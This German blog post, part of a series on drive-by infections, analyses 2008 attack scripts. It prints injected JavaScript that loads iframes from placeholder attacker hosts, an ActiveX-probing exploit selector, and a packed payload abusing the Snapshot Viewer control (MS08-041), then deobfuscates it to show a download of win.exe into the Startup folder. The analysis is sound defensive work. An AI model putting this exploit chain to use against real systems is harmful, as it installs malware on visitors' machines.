Skip to content

Drive-by-Infektionen - Vom Server auf den Client

Drive-by-Infektionen werden meist über harmlose Websites verbreitet, die in in den bisherigen Folgen beschrieben präpariert wurden. Ab dieser Folge geht es um die Frage, wie der Schadcode vom präparierten Server auf die Clients, d.h. die Rechner der Besucher der Website gelangt.

Viele Wege führen zur Infektion

Drive-by-Infektionen laufen fast immer nach dem gleichen Muster ab: Der auf der harmlosen Website eingeschleuste Code lädt, u.U. zum Verwischen von Spuren über mehrere Zwischenstationen, Code von einem Server unter der Kontrolle der Cyberkriminellen nach, der dann versucht, über verschiedene Schwachstellen ersten Schadcode, den sog. Downloader, auf dem Client zu installieren. Der Downloader ist dann sozusagen "der Fuß in der Tür", der dann weiteren, aufwändigeren Schadcode nachlädt. Als Beispiel dienen im folgenden Skripte, die ich bereits 2008 analysiert habe. An der prinzipiellen Arbeitsweise hat sich seitdem nichts geändert, es werden lediglich (auch) Exploits für aktuellere Schwachstellen eingesetzt.

Der Angriff beginnt mit einer JavaScript-Datei namens 1.js, die über einen iframe oder ein skript-Tag in die manipulierten Webseiten eingeschleust wurde. Ihr Inhalt:

document.writeln("<script src=\"http:\/\/boeser-server-1.example\/
   click.aspx?id=1234567&logo=1\"><\/script>");
document.write("<iframe width=100 height=0 src=http://boeser-server-2.example/
   co/index.htm><\/iframe>");

Das skript-Tag in der ersten Zeile ist hier nicht weiter interessant, auch darüber wurde versucht, Schadsoftware auf dem Rechner des Benutzers einzuschleusen. Die übergebenen Parameter dienten vermutlich u.a. dazu, echte Aufrufe durch das eigene Skript von Aufrufen durch Suchmaschinen-Robots oder gar Sicherheitsforschern zu unterscheiden.

Interessanter ist der iframe in der zweiten Zeile, in dem eine HTML-Seite geladen wird. Diese hat den folgenden Inhalt:

<html>
<script>
   document.write("<iframe width=100 height=0 src=14.htm></iframe>");
   document.write("<iframe width=100 height=0 src=flash.htm></iframe>");
   document.write("<iframe width=100 height=0 src=ie7.htm></iframe>");
   try{
       var d;
       var lz=new ActiveXObject("NCTAudio"+"File2.AudioFile2.2");
   }
   catch(d){};
   finally{
       if(d!="[object Error]")
       {document.write("<iframe width=100 height=0 src=nct.htm></iframe>");}
   }
   try{
       var b;
       var of=new ActiveXObject("snpvw.Snap"+"shot Viewer Control.1");
   }
   catch(b){};
   finally{
       if(b!="[object Error]")
       {document.write("<iframe width=100 height=0 src=office.htm></iframe>");}
   }
   function Game(){
       Sameee = "IERPCtl.IERPCtl.1";
       try{
           Gime = new ActiveXObject(Sameee);
       }
       catch(error){return;}
       Tellm = Gime.PlayerProperty("PRODUCT"+"VERSION");
       if(Tellm<="6.0.14.552")
          document.write("<iframe width=100 height=0 src=real.htm></iframe>");
       else
          document.write("<iframe width=100 height=0 src=real.html></iframe>");
   }
   Game();
</script>
</html>

Diese Seite versucht, mehrere bekannte Schwachstellen in verschiedenen Programmen bzw. Komponenten auszunutzen. Teilweise werden die entsprechenden Exploits direkt aufgerufen (in den ersten drei document.write-Zeilen), teilweise wird zuvor getestet, ob die verwundbaren Komponenten, in diesem Fall ActiveX-Controls, überhaupt installiert sind (in den beiden try-Blöcken) oder welche Version vorhanden ist (in der Funktion Game()). Die danach aufgerufenen Seiten enthalten dann getarnten (obfuscated) JavaScript-Code und nutzen Schwachstellen in den entsprechenden Programmen oder Komponenten aus, um den Downloader zu installieren, der dann weiteren Schadcode nachlädt.

Ein erstes Beispiel

Betrachen wir z.B. die Datei office.htm, die nur in einem iframe geladen wird, wenn ein bestimmtes ActiveX-Control vorhanden ist, nämlich der Snapshot Viewer für Microsoft Access. Sie enthält folgenden Code:

<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
   eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace
(/^/,String)){while(c--){d[c.toString(a)]=k[c]¦¦c.toString(a)}k=[function(e){retu
rn d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new Reg
Exp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('a="b";2 3=\'9://d.e.7/5/6.1\';2 4=\'8
:/c q m/f o/p l/k/g/h.1\';0.i=3;0.j=4;0.n();',27,27,'obj¦exe¦var¦buf1¦buf2¦admin¦
win¦com¦C¦http¦test¦lengoo¦Documents¦www¦steoo¦All¦Startup¦Thunder¦SnapshotPath¦C
ompressedPath¦Programs¦Menu¦Settings¦PrintSnapshot¦Users¦Start¦and'.split('¦'),0,
{}))
</script>

Das ist ein ziemlicher Kauderwelsch, oder? Wie soll man da bloss rausbekommen, was passiert? Erst mal muss man dafür sorgen, dass eben nichts passiert: Der eval-Aufruf am Anfang muss weg, damit der Code nach dem Auspacken nicht mehr ausgeführt werden kann. Was liegt näher, als das eval durch ein document.write zu ersetzen? Danach gibt das Skript brav seinen Code aus:

test="lengoo";
var buf1='http://www.boeser-server-3.example/admin/win.exe';
var buf2='C:/Documents and Settings/All Users/Start Menu/Programs/Startup/Thunder.exe';
obj.SnapshotPath=buf1;
obj.CompressedPath=buf2;
obj.PrintSnapshot(); 

Was passiert? Über die Methode PrintSnapshot() im ActiveX-Control "Snapshot Viewer" wird eine Programmdatei von einem Webserver geladen (buf1) und im Startup-Verzeichnis (buf2) gespeichert. Beim nächsten Start wird das so eingeschleuste Schadprogramm dann automatisch ausgeführt. Diese Schwachstelle wurde durch die Patches für Microsofts Security Bulletin MS08-041 behoben.

In der nächsten Folge werden zwei weitere der beim Angriff verwendeten Exploits untersucht.

Carsten Eilers


Übersicht über alle Artikel zum Thema

Drive-by-Infektionen - Gefahren drohen überall
Drive-by-Infektionen durch SQL-Injection vorbereitet
Drive-by-Infektionen: So kommt der Schadcode auf den Server
Drive-by-Infektionen - Vom Server auf den Client
Drive-by-Infektionen - Ein Blick auf die Exploits
Drive-by-Infektionen erkennen und abwehren
LizaMoon - Massenhack mit minimalen Folgen
Aktuelles: LizaMoon auf Apples iTunes-Seiten
Drive-by-Infektionen über präparierte Werbung

Trackbacks

Dipl.-Inform. Carsten Eilers am : Drucksache: PHP Magazin 2.2013 - Drive-by-Infektionen

Vorschau anzeigen
Mein Artikel im PHP Magazin 2.2013 beschäftigt sich mit den auch hier im Blog schon behandelten Drive-by-Infektionen. Da der Artikel im PHP Magazin erschienen ist, liegt der Schwerpunkt natürlich auf PHP. Konkret erkläre ich am B